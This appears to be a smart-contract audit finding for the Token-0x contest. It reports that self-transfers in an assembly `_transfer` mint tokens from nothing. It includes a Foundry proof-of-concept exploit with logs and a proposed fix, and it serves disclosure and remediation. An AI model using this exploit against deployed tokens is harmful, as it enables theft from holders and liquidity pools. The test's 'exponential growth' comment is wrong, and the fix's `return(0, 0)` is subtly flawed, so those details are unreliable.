Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Self-Transfer in `_transfer` Causes Incorrect Balance Increase (Infinite Token Minting)

Author Revealed upon completion

Root + Impact

Description

  • The _transfer function handles token movements between accounts. When from == to (self-transfer), the balance should remain unchanged (net change of 0).

  • However, the assembly implementation caches both balances via sload before any updates. When from == to, both slots point to the same storage location. The second sstore (addition) overwrites the first sstore (subtraction), using the original cached value instead of the updated one.

function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly {
@> // Both balances loaded BEFORE any modification
let fromAmount := sload(fromSlot)
let toAmount := sload(toSlot) // Same slot if from == to!
@> // First write: balance = balance - value
sstore(fromSlot, sub(fromAmount, value))
@> // Second write OVERWRITES first using OLD cached value
@> // Result: balance = originalBalance + value (not balance - value + value)
sstore(toSlot, add(toAmount, value))
}
}

Risk

Likelihood:

  • Any user can trigger this by calling transfer(msg.sender, amount)

  • No special permissions or setup required

  • Attack is repeatable unlimited times

Impact:

  • Users can create unlimited tokens from nothing

Breaks core ERC20 invariant: sum(balances) != totalSupply

  • Attacker can drain all liquidity pools paired with this token

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {ERC20} from "../src/ERC20.sol";
contract ERC20Mock is ERC20 {
constructor() ERC20("Vulnerable", "VULN") {}
function mint(address to, uint256 amount) public { _mint(to, amount); }
}
contract SelfTransferInfiniteMintPoC is Test {
ERC20Mock token;
address attacker = makeAddr("attacker");
function setUp() public {
token = new ERC20Mock();
token.mint(attacker, 1000 ether); // 1000 tokens initial
}
function test_selfTransferCreatesInfiniteTokens() public {
uint256 initialBalance = token.balanceOf(attacker);
uint256 initialTotal = token.totalSupply();
emit log_named_uint("Initial Balance", initialBalance);
emit log_named_uint("Initial TotalSupply", initialTotal);
// PROOF 1: Single self-transfer inflates balance
vm.prank(attacker);
token.transfer(attacker, 500 ether);
uint256 balanceAfter1 = token.balanceOf(attacker);
uint256 totalAfter1 = token.totalSupply();
emit log_named_uint("Balance After 1x self-tx", balanceAfter1);
emit log_named_uint("TotalSupply After 1x", totalAfter1);
// Balance inflated by transfer amount, totalSupply unchanged
assertEq(balanceAfter1, initialBalance + 500 ether);
assertEq(totalAfter1, initialTotal);
assertGt(balanceAfter1, totalAfter1); // INVARIANT BROKEN
// PROOF 2: Repeated self-transfers = infinite mint
vm.prank(attacker);
token.transfer(attacker, 500 ether); // 2nd attack
vm.prank(attacker);
token.transfer(attacker, 500 ether); // 3rd attack
uint256 finalBalance = token.balanceOf(attacker);
emit log_named_uint("Final Balance (3x self-tx)", finalBalance);
// Exponential growth proof
assertEq(finalBalance, initialBalance + 1500 ether);
assertTrue(finalBalance > 2 * initialTotal, "Balance > 2x totalSupply");
}
}

Run:

forge test --match-test test_selfTransferCreatesInfiniteTokens -vvvv

Output:

Logs:
Initial Balance: 1000000000000000000000
Initial TotalSupply: 1000000000000000000000
Balance After 1x self-tx: 1500000000000000000000
TotalSupply After 1x: 1000000000000000000000
Final Balance (3x self-tx): 2500000000000000000000
Traces:
[6171] ERC20Mock::transfer(attacker: 0x9dF0C6b..., 500000000000000000000)
├─ emit Transfer(from: attacker, to: attacker, value: 500000000000000000000)
└─ ← [Return] true
[...]
[720] ERC20Mock::balanceOf(attacker) [staticcall]
└─ ← [Return] 2500000000000000000000
[317] ERC20Mock::totalSupply() [staticcall]
└─ ← [Return] 1000000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
// ... checks for zero address ...
+ if eq(from, to) {
+ // Optional: Emit event even for self-transfer if strict compliance needed
+ let ptr := mload(0x40)
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
+ // Return true and exit
+ success := 1
+ return(0, 0) // Or just jump to end
+ }
let ptr := mload(0x40)
// ... rest of the logic ...
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!